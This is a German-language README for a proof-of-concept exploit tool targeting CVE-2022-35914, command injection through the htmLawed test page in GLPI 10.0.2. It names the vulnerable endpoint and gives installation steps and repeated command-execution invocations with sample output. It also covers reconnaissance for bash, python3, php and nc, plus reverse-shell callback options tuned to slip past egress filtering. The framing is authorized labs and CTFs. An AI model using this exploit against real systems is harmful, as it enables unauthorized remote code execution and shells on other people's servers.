
PoC-Exploit für CVE-2022-35914 — GLPI v.10.0.2 htmLawed: Befehlsinjektion, Befehlsausführung und Unterstützung für Reverse Shells.
PoC für CVE-2022-35914, eine Command-Injection-Schwachstelle im htmLawed-Testkomponenten in verwundbaren GLPI-Installationen.
Das Tool ermöglicht die Befehlsausführung über den verwundbaren Endpunkt und enthält eine optionale Callback-Funktionalität für autorisierte Laborumgebungen.
Haftungsausschluss: Dieses Projekt ist ausschließlich für autorisierte Sicherheitstests, CTFs, OffSec/PG-Labs und Bildungszwecke gedacht. Verwende es nicht gegen Systeme ohne ausdrückliche Autorisierung.
| Feld | Details |
|---|---|
| CVE | CVE-2022-35914 |
| Software | GLPI v.10.0.2 |
| Komponente | htmLawed |
| Verwundbarer Endpunkt | /vendor/htmlawed/htmlawed/htmLawedTest.php |
Die verwundbare Komponente kann die Befehlsausführung über manipulierte Parameter auf betroffenen Installationen ermöglichen.
Python 3 und die erforderlichen Abhängigkeiten.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Repository klonen:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Skript ausführbar machen:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Beispielausgabe:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
Die Option -c gibt den auszuführenden Befehl an.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Option | Beschreibung | Standard |
|---|---|---|
-u, --url | Ziel-URL oder IP-Adresse | Erforderlich |
-c, --cmd | Auszuführender Befehl | id |
--check | Ziel prüfen, ohne einen Befehl auszuführen | Deaktiviert |
--user-agent | Benutzerdefinierter HTTP-User-Agent | Standard |
-p, --rport | HTTP-Zieldienstport | 80 |
-l, --lhost | Callback-/Listener-IP-Adresse | — |
-lp, --lport | Callback-/Listener-Port | — |
Die Option -p / --rport gibt den Port an, auf dem der verwundbare GLPI-Webdienst läuft.
Standard:
80
Beispiel:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Verwende --check, um zu überprüfen, ob die htmLawed-Testseite verfügbar ist, ohne einen Befehl auszuführen:
python3 glpi.py -u TARGET_IP --check
Ein benutzerdefinierter HTTP-User-Agent kann angegeben werden mit:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
Das Skript unterstützt optionale Callback-Parameter:
-l Callback-/Listener-IP
-lp Callback-/Listener-Port
Beispiel:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
In diesem Beispiel:
Target: TARGET_IP:80
Callback: LHOST:80
Die beiden Ports haben unterschiedliche Zwecke:
-p = GLPI-HTTP-Zielport
-lp = Callback-/Listener-Port
Während des Tests in einer OffSec-Lab-Umgebung funktionierte der Callback erfolgreich über TCP-Port 80.
Andere Callback-Ports wie 4444 können je nach Lab-Netzwerk und Egress-Filterung ein Timeout verursachen.
Für die getestete Umgebung:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Der Listener wurde auf der Kali-VPN-Schnittstelle unter Verwendung von TCP-Port 80 konfiguriert.
Wichtig: Die Verwendung von Port 80 für den Callback ist eine umgebungsspezifische Beobachtung. Sie ist keine Voraussetzung von CVE-2022-35914.
Überprüfe zunächst die Befehlsausführung:
python3 glpi.py -u TARGET_IP -c 'id'
Prüfe, ob die erforderlichen Dienstprogramme vorhanden sind:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Wenn die Befehlsausführung funktioniert, aber der Callback ein Timeout verursacht, überprüfe das VPN-Routing und den Callback-Port.
Wenn die Analyse der Befehlsausgabe fehlschlägt, wird die vollständige HTTP-Antwort gespeichert unter:
/tmp/glpi.html
Untersuche sie mit:
less /tmp/glpi.html
oder:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Für die getestete OffSec-Lab-Umgebung:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Dieses Projekt wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.
Der Autor ist nicht verantwortlich für Missbrauch, Schäden, unbefugten Zugriff oder illegale Aktivitäten im Zusammenhang mit dieser Software.
Vor dem Testen eines Systems stets eine ausdrückliche Autorisierung einholen.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 von cyb3rk0ala